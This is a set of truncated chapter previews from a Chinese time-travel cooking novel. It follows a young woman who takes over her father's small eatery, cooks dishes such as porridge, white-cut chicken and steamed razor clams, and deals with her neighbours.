《苏记美食录》 1. 荠菜粥 《苏记美食录》全本免费阅读 雨打新枝，春山点翠。 淮州景乡镇南桥旁的一家小馆已有三日未开张。 而临时成为店主人的苏眠雪正盯着一屋子的锅碗瓢盆犯愁。 “雪丫头，你爹走了没得吃老本，这是打算将你爹的半生血汗全都辜负咯！” 隔壁卖瓜果蔬菜的李大娘透过窗户幸灾乐祸，塞了两把菜在桌上。 “雪丫头，大娘疼你，把你爹的手艺重新拾起，莫辜负了你爹的一番心意！” 苏眠雪拿起桌上的菜，目光幽幽盯向李大娘，当着她面举起那把焉了吧唧的菜，“李大娘，这是你前日未卖完的菜，我爹离开前可给了你五两银子，怎得五两银子也不够买一把新鲜的野菜了？” “你这丫头。”李大娘掩着唇角，脸上是计谋被识破后的尴尬，又拿出一把新鲜的荠菜和芦笋，“刚刚那些菜是送你的，你大牛哥上山摘野菜也不容易。” 苏眠雪收下菜，将窗户“砰”的一声关上，“就我爹赚五两银子容易，咱家都是景乡镇富豪了。” “开馆子的自然是要比我们容易些，你们白日里醒来备好食材便能开张，不过女儿家家吃不了这苦，要说容易还是绣帕子容易，做得都是精细活。我们还要下地种菜，干一些脏活累活。好在我家里有儿子，能帮着我一块种地浇肥锄草，一到时间便提起为我摘好菜，今儿一早就能卖！” 李大娘在窗外依旧喋喋不休，从地上夸到天上说着自家儿子有多好。 她爹苏时章只有她这么一个女儿，将来这铺子当掉，苏眠雪没地住了，嫁去她家也能有一口饭吃。 “您快走嘞，再慢些要没地方摆摊了，这不是要辜负大牛哥的一番心意么。” 苏眠雪揉了揉眼睛，把李大娘的话充耳不闻，连着消化了七日，她也差不多接受了穿越的事儿。 穿越还不是事，她向来主张一个随遇而安的心，难的是要一个小白基础入门，只碰过现代煤油烟机的人，用灶头重新开张一家小餐馆。 好在她也不是娇生惯养长大的，生火煮饭擦桌扫地也并非什么难事。 苏记食铺不算大，寥寥四张桌子，十六张长凳，一天也不过十来桌客，大手的多点一碗烧刀子，也不过多赚5文钱。 前面小院子里种了花草好供一些有文人墨客性子，却又付不起茶楼费用的书生赏花喝茶，因此而有了些固定老客。 总的来说，这家铺子能养活两人也是累得慌，从前的苏眠雪是靠针线活来补贴家用勉强糊口，可惜现在的苏眠雪没那本事。 两相对比她选择拿起她爹的老本行。 苏时章临走前留下了一份《长安苏记美食录》，苏眠雪将其从放着油盐糖醋的架子上拿下，随意翻了两页。 苏时章是三日前离开的，临走前给了隔壁李娘五两银子，包了苏记食铺一年的菜钱。又留给苏眠雪十两银子，其余的都被他拿走，美其名曰要去长安京找她娘。 若非便宜爹长得和她穿越前的爸一模一样，她能直接拍手不干。 厨艺是没留下的，店铺是要她开的。 好在苏眠雪身上留了些食魂天赋，从前自己独居，也会做饭糊口，翻回《长安苏记美食录》的第一页。 荠菜粥，常食具有补虚健脾，明目止血的养生滋补功效。 恰好自苏时章三日前离开后，她已经啃了三天冷馒头，且李大娘送来得菜里就有荠菜。 她将白瓷粥罐洗净放在炕头上，在储放米面的大缸里拿出粳米，冲洗了两遍后留了白，浸泡一刻钟后让营养素混着水一同倒进粥罐，使米粒膨胀开。 切好荠菜碎，擦净手上水，又从后院抱来柴火，拿来一枚小巧的火折子。 她从前只在电视里见过，若说实际操作，心里还是有些发怵。 打算拿着火折子先到外头试一下，等用会了再回来点枯草。 她来到外院，刚打开上面的盖子，吹了一口气燃起了一丛小小的火苗，便被一个突然闯进院子的人夺过盖上盖子。 “眠雪妹妹，你这是在做什么呢？火折子危险，以后莫要乱用了。” 苏眠雪微微撇了下眉，瞧了一眼眼前这个五大三粗却学着文人墨客，穿着一件月白素面衣服，长相硬朗青俊的脸上带着憨厚的男子。 唇角微微勾起，有些不知该从何开口。 不管她说什么，李大牛都能给自己找出一堆理，来告诉她这个有多危险，不是女孩家该做得事。 “眠雪妹妹，你怎么了？”李大牛不解，眠雪妹妹一天一个性子。 前两日还温温柔柔，现在苏大伯一走，她要扛起苏家的担子，迫不得已泼辣冷漠了许多。 他从自己娘口中得知苏眠雪不尊长辈，一个小辈也敢辱骂长辈。 这叫不敬天地。 好在李大牛并非不明事理的人，劝了两句李大娘后便想着来帮帮苏眠雪。 苏眠雪解释：“大牛哥，我是想试试这个火折子，过会煮饭吃。” 李大牛挠挠头：“眠雪妹妹，你要吃饭去我家吃就好，哪需要这般麻烦，我娘也不会说什么的。” 苏眠雪笑着回绝：“多谢大牛哥，不过我家就是开食铺的，歇业这么多天，若再不开业，要留在这当掉吗。” 李大牛听后拿着火折子进了她家铺子里的后厨，见灶上放了一个粥罐，便知她这是要煮粥喝。 “我来帮你点火吧。” 李大牛坐在灶头后边生火，没一会便将灶头点燃，塞了两根木棍进去。 粥想熬得香，先用大火煮沸顺时钟慢慢搅拌，待它沸腾熬出浓郁香味后，转而小火，将切成碎的新鲜荠菜倒入罐子中，拿勺子将菜碎与米粥搅拌均匀，加些盐后盖上盖子，小火慢炖直至软烂留香。 李大牛盯着冒着热气的罐子，又替苏眠雪将铺子都重新冲洗了一遍。 一番牛劲越干越来劲，将前院、铺子和后屋都擦扫了一遍，抹了一把脑门上的汗：“眠雪妹妹，你这粥熬得香，等会给我留一碗呗。” 苏眠雪笑着点头，李大牛替她做了不少事，她还不至于连这点都小气到不想分享。 帮助都是互相的，苏时章在时也经常帮李大娘干活。 李大娘嘴碎了些，但儿子属实养得不错。 热气从小口喷洒而出，苏眠雪拿来 2. 白斩鸡 《苏记美食录》全本免费阅读 “你个呆子，是嫌咱家肉太多了吗？你爹今晚回来，原本三人吃一整只鸡，现在倒好，我们三个人吃半只，她一个人吃半只！” 残阳敛着光，霞光侵染了半边天。 李大娘路过苏记食铺，在院子外头放声指责，引来了不少人围观。 大伙儿都是住在一条街上，邻里邻居有什么事没一会都会晓得。 往常这个时间李大娘早该在家中烧饭，且这次是从左边来得，显然是为了碎她两句特意赶来的。 苏眠雪提着一个木桶出来，李大牛从后面绕上来帮她提桶，将里面的水倒在墙角。 “娘，你少说两句吧，从前苏大伯可没少帮咱家忙，每次干活晚了，苏大伯都会给我们送饭。” “他送得都是他们店里卖不完的，不给我们也是拿去扔了。人家又不是你媳妇，就你喜欢巴巴跑上前献殷勤。” 李大牛将木桶还给苏眠雪，抬头见她雪肤娇嫩，颊边一点红痕叫人我见犹怜。 可惜目光太过冰冷，冷不丁刺到李大牛，叫他一抖擞，木桶没拿稳掉在地上。 苏眠雪将木桶重新提起，笑得温和：“李大娘说得不错，我将鸡还给你。” “送都送你了，怎么能又要回来呢，况且你还给了我们白糖。”李大牛瞧了眼自家娘，心里觉得愧疚。 白糖都是富贵人家才能用得上的，他们平常百姓也就过年待客才会拿出白糖制作一些糕点。 山里的鸡多得是，只要肯用心去寻找还怕找不到这一只两只。 李大娘弱下气势，讪讪笑着觉得没面，扭了李大牛一把，挺直腰板：“她家开食铺的，白糖自然是应有尽有。” 苏眠雪淡淡笑着，回到屋子里拿出蒸笼里的鸡，“李大娘，这鸡你拿回去。白糖如今的价钱是一百文一斤，那瓶子里没多少，接下来我还要依靠您呢，便不必还了。” “这怎么行！”李大牛出声制止，关上苏记的门，将看热闹的拦在外面，“娘，苏伯给了你银子，这半只鸡是眠雪拿白糖换得！” 李大娘瞧了眼门外看热闹的人，外边议论纷纷。 “李大娘，白糖什么价格，野鸡什么价格你都分不清了，还要跟小姑娘抢东西了？” 她知晓今日她拿回鸡必然要还回去白糖，叉着腰撇过头：“既给了，也不必还了，倒显得我有多小气一般。” 李大娘同李大牛一块离开，苏眠雪关好自家院子的门，外头街坊瞧没有热闹也便散去了。 李大牛送来的鸡肉明显因为放得太久，而失去了本身应有的鲜嫩味。 肉类煮得次数多了口感便会柴而不嫩，失去了最好的味道。 连着盘子再次放回蒸笼，将《长安苏记美食录》翻到最后面。 “小米椒、辣椒面、蒜末、葱花、芝麻。” 苏眠雪将材料一一放在桌子上，小米椒剁碎后一块放在碟子里，单单的几味材料不足以激发小米椒同辣椒面的香味。 若将热油泼上去，烫出里面的香味，用来弥补鸡肉的不足。 厨房内一共有三个灶头，中间的用来暖鸡肉和菜饼，大锅并不常用，小锅是用来炒菜的。 用这些烫油并不方便，苏记食铺所针对的用户多是平头百姓，但她想试一试。 若景乡镇的邻居们觉得好，觉得不错，这道蘸料便能当做一道招牌。 古代所用得都是菜油和动物油，做出来的菜和食用油相比也要更香。 茶油烫得差不多了，再加一些酱油进去，最终泼在酱碟里。 辣椒、蒜末、芝麻的香味扑鼻而出，苏眠雪放在鼻子前闻了闻，辣味才能完全刺激感官，这句话果然不错。 半只鸡被剁成一块又一块，漂漂亮亮地摆在盘子里。 苏眠雪夹起一块蘸了料，吸溜一声放入嘴中，咸、香、辣中和着，叫她淡了许久的味觉回暖，在味蕾中怦然绽放。 不错。 “虽说比不上现代的，但对调味甚少，且少盐少油的百姓而言已然不错。” 她目光放向摆在调料架的白糖上，颜色并非纯粹的白，依苏时章的能力，能有这么一瓶已经不错。 加些糖进去，搅拌均匀是为冲淡辣椒的刺激，从而起到调鲜的作用。 让一道普通的蘸料多了一层层次，自然也要贵上几分价钱。 苏眠雪将带有鸡腿的下半只带上，同蘸料一块敲响了李大娘家的门。 开门的是李大伯，接过苏眠雪手中的肉略感意外：“雪丫头，你爹才走几日，这是又回来了？” “没呢，这是我自己调得蘸料，用来配鸡肉吃得。”苏眠雪笑着开口，“您尝尝，告诉我味道如何。” 李大伯闻了闻还带着热气的蘸料，中肯着：“这味闻得就香，必然是个好货。不过李伯伯替你尝尝便好，鸡肉还是带回去自个吃，一个人在家中万事都要依靠自己，若有什么事你便来找大牛。” “这鸡本来就是大牛上山打得，又不是大牛媳妇，怎得你们爷俩还要次次倒贴，赶着上前为她做事？” 李大娘心中堵着一口气，接下来说得话自然是口无遮拦，连个好脸色都未给苏眠雪留下。 苏眠雪冷下脸，李大伯尴尬挠挠脑袋，他一个粗人也不知道该说些什么。 “雪丫头，你莫放在心上。” 李大伯干巴巴说着，从前李大娘与他提过去苏家提亲的事，苏眠雪会刺绣，每日绣得帕子都能补贴家用。 且苏家就苏眠雪一个女儿，难不成苏时章还藏着掖着，一辈子不让她见人。 这自是不可能的，苏眠雪生得好看，苏记食铺店面位置说不上好，但家底在那也是值些钱的。 且别看苏家过得紧巴巴，实际人手里可存了不少银子。 “大伯，若白糖用完了，您和大娘还需要的话，我这有卖糖人的联络，去买糖要得是内行人的价格，比外头买要划算许多。” 她同李大牛是以物换物，现在家中就她一人，住在景乡镇中保不齐需要可靠的人帮衬一二，而从前与苏时章关系好的便是李家。 所以不管怎么样，她都不能和李家人撕破脸。 3. 野鸡汤 《苏记美食录》全本免费阅读 淮州离长安远，地处江南一带，周遭都是一望无际的山，入眼是漫山遍野的绿。 李大牛翻着苏眠雪带来的东西，一个笼子，一把镰刀、谷子，和一袋馒头和水。 “上山的路难走，带这么多东西不怕累着？” 苏眠雪不知前路艰辛，将笼子拿起上下提了好几下，证明自己说：“不累的，轻着呢，你瞧。” 下了牛车，李大牛将带来的物什都放进笼子里，两个笼子叠在一块背在肩上，走在前头开路。 一同前来的不止他们二人，都是想上山碰碰运气的人。 山路算不是多么崎岖，苏眠雪手里拄着一根木棍，借着它的力做支撑点来爬山。 李大牛为了照顾她走了另一条道，和一起来得几人分道扬镳。 青草混着土的腥味绕在鼻尖，苏眠雪擦掉鼻尖冒出的汗，没注意指头上的泥土，蹭了一鼻子的泥。 下面的路等不及她多耽搁，李大牛已经翻身上了石坡，放下肩上的物什冲苏眠雪伸出一只手。 小麦色的肌肤暴晒在阳光下，充满生机的臂膀沾着汗水，苏眠雪渐渐靠近他，淡淡的汗味夹杂着薄荷味。 不难闻，甚至有些烈日下交杂而来的清爽。 苏眠雪红了脸，伸出手拉住他宽厚的手掌，膝盖瞪着小坡上被踩出来的小坑，连瞪带蹿得，以迅雷不及掩耳之势，被李大牛稳稳地抱在怀里，提溜上来。 “大牛哥，谢谢你啊。” 苏眠雪理了下发间的发带，重新系了一遍确认头发不会散下，拿上自己的笼子走在前头。 李大牛闷哼地跟在后面，见到野菜蹲下身拿起锄头闷声挖着，一半放在苏眠雪的篮子里，一半放在自己里面。 到了地势平坦，长了不少青草的地方，李大牛招呼着她：“眠雪妹妹你来，我教你怎么捉野鸡。” 笼子的机关买来时便已经弄好，所以并不用花太多时间，所需要做得，便是找一块长有肥沃青草的地方，拨开边上的草，用笼子压住，里面再放些稻谷饲料，用一块木头顶住。 等野鸡跑进来，会把木块给撞开，笼子便是盖住野鸡。 两个笼子放在靠着水源的大树底下，现在日头正烈，动物也爱逐水源躲在阴凉有粮食的地方，在这只用等小半个时辰，必会有所收获。 “我的这块地明显要更好，你为何不放在我边上。” 几波转折下来，苏眠雪也懂了一些窍门，李大牛慢慢给她解释，山上的野鸡大多住在阴凉避光，湿润有水的地方，喜欢吃小草长得果子。 而笼子如果放得太密，它们可能会自个儿避开，放得远了，边上路留给它们，自己会忍不住诱惑慢慢跑进来。 “你第一次来，等下我们躲在这棵树后面，等它们进笼子里后再出来。”李大牛干活卖力，身上的衣衫已经被汗水打湿，递给苏眠雪一个水囊，“先喝口水，都流汗了。” 苏眠雪靠着大树，就着水和馒头一口一口往下噎。 馒头是手工制作，嚼起来有丝丝的甜。 等了有小半个时辰，其中一根绳子动了一下，李大牛瞧了一眼，是苏眠雪的，对她憨憨一笑：“妹妹，你在多等等，等我那只进笼子了在去捡回来。” 山里的动物都有灵性，听到点声音便会藏起来，再要去等，前面的时间又会前功尽弃，所以宁愿让笼子里的多待会时间，也要等全部都进去了再去捡拾。 “咯咯咯咯咯——咕！” 不稍片刻，又有一只鸡跑进了笼子。李大牛如一道闪电，率先窜了出去，猛地扑上去，在鸡丛中乱跳，惹得鸡毛满天飞，精确无误的掉在苏眠雪的头上。 “咳咳。” 一只鸡钻到她衣摆下，李大牛比她急：“眠雪妹妹，快把它抓住！快把它抓住！” 苏眠雪是位土生土长的城里人，就是每逢过年回老家，爷爷奶奶在乡下养了鸡鸭也是养在棚子里，她顶天跟母亲一块丢几根菜叶几根萝卜，哪见过这样大的阵仗。 要她抓鸡？她小时候摸过，但被咬了一口，这野鸡的嘴比家鸡还尖。 心一横，眼一闭，满脑想着自家青黄不接的小铺。 “啊啊啊——” “它啄我！” “别怕，我来了。” 李大牛两手各抓着一只鸡，顾不上满头满身的鸡毛，将其中一只丢进笼子里盖住，蹲下将另一只小心翻过来，将鸡屁股露在外面，有一颗裂了的蛋在野鸡屁股里。 蛋掏出来已经碎了，李大牛分成两半，拿鸡蛋壳盛着，在两个笼子各放一个，“给它们补补，到时候吃起来更好吃些。”他解释。 苏眠雪摘去身上的鸡毛，走上前将笼子压塌的小草拢回去，又把李大牛乱糟糟的头发上的鸡毛捡走，有些嫌弃地走远了。 一身的鸡毛味，难闻。 来时笼子轻轻，回去时收获满满。 苏眠雪收好两人镰刀、剩余的谷子和馒头，放在李大牛的篮子里，一只粗糙，沾了汗味和鸡毛味的大手提过篮子，他笑得真诚。 “下山路不比上山路好走，我是男子，又是你的哥哥，怎能叫自己的妹妹领这么多东西。” 李大牛有村里男子的憨厚老实，埋着脑袋只会一股劲的干。 苏眠雪笑他，两个鸡笼拿木头上的绳子绑好挂在肩膀上，头发一捋一捋贴在额头上，拿步襟绑得头发经过一场“大战”后散了一半，瞧上去除了一张脸俊俏了点，其余得半点不剩。 蹲在溪水旁吃着剩下得馒头，苏眠雪晓得他胃口大，凭当初那一锅粥就能看出，索性也不和他抢。 她掰了半个馒头到一旁去，这儿的水清澈见底，大树挡住毒辣的太阳，蹲在地上一口一口小口吃着，又拿水囊接好水给李大牛。 笼子里的鸡咯咯叫个不停，苏眠雪神思恍惚，为了两只鸡一把野菜把她热得要中暑了不成。 “有人吗……大爷……大奶……叔……姨……救救……” 苏眠雪：真中暑了，还幻听了。 “这边上有人，”李大牛站起身，将手里的半个馒头两口一并塞了，对她说，“我去看看，你坐在休息。” 苏眠雪点点头，热了过后就有些冷，林子里到了晚上就会看不清路，眼下太阳将要落山。 李大牛做事踏稳又快，回来时扛着一个男子，将他放在地上，道：“还有气，我就带回来了。” 苏眠雪先是错愕，眼前这个男子脏得不成样，破烂不堪的蓝色锦袍被血染了大半，脑袋也破了血，看不清模样，被砸得不轻。 李大牛说：“应该是从悬崖上摔下来的，他命大，摔在了草地里，没死。” 苏眠雪抬头看了眼，他们头上的悬崖怎么看都有四五层楼高，没摔死，不是命大是什么。 “走吧。”李大牛拿上鸡笼。 苏眠雪顺而拿起篮子，里面只有镰刀野菜和水囊，并不会重。 她抿唇不语，李大牛是沉默寡言的，她也静悄悄跟在后面，一路上到下坡时搭把手，再无旁的交集。 李大牛的心意她并非不懂，只是现在于她而言，一个景乡镇平平无奇的，甚至只能依靠种田到码头卸货赚钱的……零工都算不上的人，在异世给不了她想要的，她也不愿将自己交付给别人，身在异世，她只相信自己。 …… 回到镇上，李大娘对这位多出来的泥血人表现出非常坚定的拒绝。 “你瞧瞧他，一身血唉！”李大娘厉声说，“他来我们家了，是不是还要我们照顾，半死不活的样子是不是还要我们花钱买药，还要多煮一份饭吃，这些花得，都是银子啊！” 李大牛进退两难，见自己母亲挡在门前用身子堵住门，显然一副你若把这人带回来，我也不给你进门的气势。 他又是一个老实的，左思右想后决定将他安置在一个荒废的屋子里先。 背上扛着一个人路不太好走，破屋在集市入口的大榕树后边，暂且解决了住处问题。 破屋之所以叫破屋，因为它荒废很久，没人修缮，屋顶上的木头都掉了好几根，一到下雨天连避雨都难。 李大牛想，暂时住着吧。 苏眠雪拿好肉铺老板杀好的鸡，又买了些蔬菜辅料，原路返回时正见李大牛站在树下苦恼。 “今晚到我家吃饭吗。”苏眠雪扬起手里的鸡。 母鸡是他抓得，他吃也是应该。 李大牛看是她来，有些意外，又有些不好意思。 破屋黑漆漆的，如果把人丢在这，也不亚于让他在山 4. 油泼蛏子 《苏记美食录》全本免费阅读 来的是四位书生，穿着相同款式，胸前绣着不同花纹的白袍，端的是身姿文雅，风度翩翩。 苏眠雪立刻放下筷子，招呼着几人快些进去坐。 她今日去了山上所以并未开张。 刚刚说话的是张公子，也就是四人里的介绍人。要想留得住客，今晚的菜就要味道足，够心意。 至少不能让这位张公子在好友面前丢了面子。 “今晚炖了野鸡汤，是今日刚从山上捉住的母鸡，正新鲜着呢，我便用这汤下面，再加两道菜如何。” 苏眠雪心中已经有了打算，她对自己的这道汤信心十足，便是两道菜，一荤一素搭配，便要用先前做得蘸料做主力军。 “苏老板，我看你店门口往右边走五十米有一老翁卖蛏子，本是二月、三月才吃得的东西，如今都已经五月了，怪哉，怪哉。”张公子摇头晃脑，手里折扇“啪”一作响，“已有两月未尝到味，怪念叨着，苏老板尽管做！我们兄弟四人带够了银子，定不会赔了苏老板！” 张公子说得洒脱，旁边几人亦是笑着点头附和，夸赞她手艺精细，既是张公子推荐，必是上等美味。 台子已经给她搭上，就等她拿真手艺将楼梯递出来。三人穿得衣裳是淮景书院的校服，是从前在此书院走出，如今高居长安京的吏部侍郎郑怀贤大人，亲自所提得字。 能进此书院的，各个都是人中龙凤，几人气势不凡，若能依靠他四人宣传，先在淮景书院将名声打出去，必能拉不少的客人！ 两人纷纷放下碗，李大牛出门买蛏子，苏眠雪先将外面的两碗鸡汤拿桌罩盖好，转身回了厨房，按照先前所记得将蘸料做好放在一旁备用。 粉丝用热水浸泡，李大牛买了两斤蛏子和两把生菜。蛏子拿清水洗净，荤类、河鲜类本身带了腥气，洗去了一身泥，变得白腻丰腴。 粉丝垫在青花瓷盘上，再将蛏子摆在上面，撒上蒜蓉和辣椒末，淋上蘸料，放入蒸笼里改造。 那旁的面汤已经滚沸，苏眠雪将面条捞出来倒进水里。将生菜撒了进去，筷子进去一滚，一翻，再是一晃，将青翠欲滴的生菜捞出来摆好，蒜蓉一铺，淋上酱汁，清脆可口。 坐在内堂里等待的四人，观赏着食铺的景物，厨房在内堂左边的那间屋子，瞧着小，但五脏俱全采光也好。 特别是院子里的景色，葡萄藤架下栽了月季，通过板棂窗，是映入眼帘的绿和各色的花。 张言谨是无意间走到这的，发现门前的招牌，又有零星几个人从里面出来，便起了好奇心。 没想到竟然有人把小馆开在家里，不该在门外摆摊，吆喝顾客么。酒香不怕巷子深，也要有人去找到才对。 出于好奇的本能，他昨日点了一碗阳春面试试味，哪知又送了盘生菜和蘸料。面条要比津味楼的劲道，汤也更鲜，特别是那蘸料，可以看见辣椒，但又并不觉得辣，反而在唇齿间留香，久久而不能消散。 他一天跑了好几家第，尝了不知多少碟，都没有苏眠雪这来得好吃。 可惜太冷清了，一天赚不了多少钱，十六七的姑娘撑起一家小馆不容易。 发间连支好看的簪子都没有，唯有发带和木簪简单挽起，衣服也灰蒙蒙的，利落是利落，但张言谨认为，还是该穿得鲜活点。 “张兄，你对苏老板不一样嘛。” 苏眠雪生得好看，黑发如云，眉目如画，姿态曼妙，灰色的裙子也挡不住她的好颜色。一双明眸好似会说话，看人跟会笑一般，叫人看了不由的倍感亲切，道一句是个好相处的。 张言谨：“别瞎说，她厨艺好，我自然是喜欢吃。” 这边李大牛从后厢房出来，端着药碗到池子边冲洗干净，到厨房在火炉中又加了两根木头。 而面条在水中已经冷却，拿出一个新砂锅，舀了半罐的鸡汤，面条往里面一放，蛏子丢进去放在火炉上慢慢滚着。 苏眠雪退到一旁，李大牛将油倒进锅里，炭火烧得旺，没一会便是噼里啪啦一顿乱炸，木头被抽离，圆勺舀起热油泼在蛏子粉丝和生菜上，撒一把葱，不等热油冷静，菜已经转到四人的桌子上。 苏眠雪擦干净手，拿四个海碗放在桌上，将砂锅里的面条捞出来摆在碗中，浇上汤，每个碗里各放三块鸡肉，蛏子摆在肉边上，还有几颗红枣、枸杞和菌子。 “大牛哥，你来把面端过去。”苏眠雪喊了声。 热乎乎的鸡汤面和瓜齑端上桌，薄薄的金黄油层下是奶白的鸡汤，鸡肉炖得入味，吃起来有红枣的香甜。 油泼蛏粉被蒸出了汤汁肥沃鲜美，舌头轻轻一顶，蛏肉便与壳分离。 太阳已经落山，没了燥热只有数不尽的清爽，辛味刺激着舌头，忍不住一边吃面，一边吃辣蛏子。 苏眠雪用了十足的料，眼前这四人一看就是不差钱的，银子不会少，只看这位张公子是什么心思。 苏眠雪开了一壶杏子酒，“几位公子，若是不够，你们只管说，既是淮景书院的学生，小店必会用心对待。”淡黄色飘着杏香的酒倒入碗中，“是自家酿得，放心喝。” “书院里的菜实在没味，苏老板菜里放了辣椒，可是川渝人士？”李公子的胸前绣了兰花，他一直挑着蛏粉里的辣椒，“淮州好虽好，但总少了些，就比如这椒，瞧着红，但味并不重。” 淮州属于江南水乡一带，吃得味并不重，辛更多是用来提味，加以辅助。 可看苏眠雪天然一副江南水乡养出来的婉约气质，便知觉是自己猜错了。 “抱歉，苏老板。是在下唐突了。” 苏眠雪笑：“怎么会，我也非是江南本土，只是自幼跟着家中长辈来了这，故而喜爱各地南北的美食，又见你鼻尖冒了痘，显然是爱吃辛辣的，便多加了些辣子。” 李公子有些不好意思，四人里头独他喜辛食辣，身边朋友从而沾了点辣味。 而苏眠雪也是早早猜到这点，既然是四人下馆子，点了命要她准备，自然每个人都要顾及到。 张言谨朗爽一笑：“苏老板好手艺，我这兄弟最是嘴挑，到没想到被你这道油泼蛏粉给收付实贴了。” 几人吃饱喝足，他出手阔绰，从荷包里拿出两贯钱给苏眠 5. 粔籹 《苏记美食录》全本免费阅读 “1两银子，就你这几片叶子卖1两银子，你怎么不去抢呢？”李大娘蹭得一下站起来，“他是吃了立刻见效包好还是咋滴？一两银子唉，说得跟1个铜板一样简单。” 李大娘家中三口人，全靠十里乡的地，一两银子几十片叶子，换做苏眠雪也要肉疼好久。 “苏姑娘，人命关天，你也莫要纠结。我这药都已经磨好了，就等你付钱，便给他用下去。” 杜老头算盘打得叮当响，他药都磨好了，他们三人还能赖账不成。要说这杜老头，从前也是半个道士，装神弄鬼骗了不少人，如今不管用，摇身一变成了赤脚郎中，每日在桥洞底下为人把脉，也有些真功夫在身上。 苏眠雪伸手比了一个数字：“杜大夫也说了，人命关天耽搁不得。我们也不该在他面前争这几两碎银，而争吵不休，就这个数，人必须救！” “多少？5两银……” “五十文，钱我现在给你，人你现在救。” “你说多少？我这几片叶子……药材可是千金难求，如今为了救这小子，也不让你们为难，只出价1两银子，一砍就是50文？” 杜老头唾沫星子四处飞溅，躺在床上的人轻轻咳了咳，李大牛紧接着说： “我瞧这人在山里待了也有好几日，能撑到下山定是福大命大，刚刚那会连气都难吐，现在竟又有了微弱气息。您刚刚只把了脉，瞧这干净的样子也没用什么私货，这些药都是山里的物什，难摘，但也不值一两银子。先前火急火燎是怕他撑不过今晚，现在瞧来，纯属是我在白担心了。” “娘，眠雪妹妹，你们等待片刻，我现在再去请位大夫来，这位公子身子硬朗，想来能在撑片刻。” 李大牛说完拔腿就走，杜老头心里一急，他药都磨完了，要是再请个过来，岂不是要浪费了不是。 罢了罢了。 “你站住，一百文！一百文给你们！”杜老头怕反悔，药汁倒了些在粥里，剩下的抹在男子溃烂的伤口上，“东西我已经用了，你们可不能赖账。” 夜已黑，星疏明。 各家各户早已吹灯歇息，杜老头接了钱，收好自己的箱子早早离去。 李大牛收拾剩下得，吹了灯让屋里人安心躺着，他出自好心将人从山上带下来，能不能醒都不干他的事，只靠自己运气如何。 他更在乎的，是苏眠雪要这小子做她的小工，意思就是这小子往后要住在苏眠雪家里了！ “眠雪妹妹，我也能来你这做小工。”思考良久，终于将心里的话吐露出来。 苏眠雪将垂在前边的碎发往耳后拢，他接着说：“我不用钱，只用你做份饭便好。” 月色融融，院子的灯已经熄灭，手里的灯笼忽明忽暗，夜风吹乱了苏眠雪的乌发，也吹乱了李大牛的心。 苏眠雪瞧不清他的面容，也瞧不清他漆黑的双眸中，是什么情绪。生气，失落，怅然，苏眠雪都看不清。 “回去吧，夜深了，李大娘还在等你呢。” 她将吹乱的发一把抓起往后一扫，提着灯笼转身进了自己的屋子。 月色轻柔舒缓，李大牛借着月光看着自己粗糙的手，苏时章去了长安，苏家也不是淮州人，她定也是要去长安。 高大挺拔的汉子穿着当下文人墨客最喜爱的白衣，他的白衣沾了灰泥，并没有文人的儒雅风流，冠玉风姿。 …… 苏记已经按班就部开张起来，有了先前的张公子，更多是慕名而来的书生。 有为一睹芳容者，也有来品尝这手艺当真有旁人口中穿得奇乎者。响亮的名头打了出去，又有李大牛在一旁协助，两人井条有序，配合完美，留下不少客源。 只是苏记属于在家开张，并非酒楼茶楼，从前是做小本买卖，生意一般，桌子够用便好。 现在却不同了，生意红火，不少老顾客嫌每次来都没有桌子落脚，吃个饭还要等待，又非是什么千金难求，什么王公贵族享用，他们普通百姓一次难求，便是在色香味俱全，也会因等待的时间而消磨。 她早上起得早，每次透了一点光就要起来配菜准备，今儿休息半日，打算去瞧瞧铺子，难得不用忙碌，自不用像平日一般应付早膳。 四颗鸡蛋打碎在碗里，加些麻油和水，搅拌均匀后放进蒸笼。 苏眠雪店里要忙，李大娘每日念叨两句，一早送来新鲜的菜，再顺带给男子换个药，自然而然的，苏眠雪便包下了他们一家的早膳。 无非是一碗粥，一个胡饼和两碟咸菜。 她忙，李家三口也忙，一日三顿就跟应付一般，自然不会在意饭菜是否简陋。 在锅中加了一小把花椒煮水，莫约一刻钟的时间，倒出花椒水在碗中放凉备用。花椒的作用是增添香味，味道轻而则佳。 粥罐里煮了白米粥，水里加了盐，将剥好的蚕豆丢下锅煮熟，沥水后倒进酱汁里浸泡着。酱汁是拿香蕈做得，里面加了白糖和盐，味浓而香，咸甜恰宜。 花椒水已凉，米面和蜂蜜倒在一块混合均匀，撒上芝麻，在加入椒水稀释便是完成。搓成细条，组之成束，扭成环形，放入油锅炸至熟透。滴干了油，放在鱼盘中，色泽黄亮，层叠陈列，香脆可口，便是粔籹。 锅里还有油，每次做炸货都要热出一身汗，厨房里的窗户被柜子挡住，苏眠雪也是发现不久，拿木棍捅破了窗纸，开着门用来通风透气。 李大娘今天送得菜里有茄子和茭白，从里面洗了一根茄子，切好后裹上鸡蛋和面粉液，丢进油锅里晃几圈，没丢三个捞一个人，时间恰得刚刚好，又酥又嫩，倒进小碟子里一块端了出去。 “雪丫头啊，你今日怎做了这么多菜，等会客人来了又没得时间吃饭了。”李大娘刚喂完药，从右边花圃中走出来。 苏记的院子大，从右边的花圃的青石板过去，便是休息用得后院，一共三间 6. 乌精饭 《苏记美食录》全本免费阅读 一顿饭对于李家来说不欢而散，苏眠雪对李大牛没那层意思，明眼人都看在眼里。 她积极上进，不怕吃苦，一人扛起这家青黄不接的小店，这几日有了好转，见得人多了，自己也有了更多心思。 若李大牛一直是个村夫，的确是不可能攀上她。 南街在景乡镇中心，人来人往，各家买卖都摆在这，比得都是真手艺。房价地租自然也比其他地方贵，但人流多，地方大，铺子亮堂，更能吸引客源。 她手里有些存钱，今儿穿得光鲜亮丽，带她看铺子的牙婆心里摸不准底。 这姑娘看得是位富贵小娘子，穿得戴得都是上好的首饰布料。只家中有人，为何不是家中长辈前来把关选址。 十六岁的小姑娘虽然圆滑，但也非面面俱到，比如铺子的地方布局里面都有讲究，做生意的最在乎一个风水。 “姑娘，你瞧这间铺子如何？”牙人指着一间铺子，位置风水都不错，在坊街的第一间，对面第四间，临着淮河的便是景乡镇大名鼎鼎的津味楼。 打擂台呢，这是。 苏眠雪心里盘算着，坊街离苏记所在的南桥不远，在津味楼边上，若是办得好，还能借它一点力。 牙婆在边上喋喋不休，依旧在介绍铺子。 “姑娘，这间铺子可是有两层，景观也好，如今东家要去长安了，急得将铺子转让，价钱也实惠呢。” 正在思考的苏眠雪走上二楼，两边窗户往下看，一边是攘往熙来的街市，一边是一览无余的青山绿水，是个不错的地方。 “地方是不错。”苏眠雪称赞了一句。 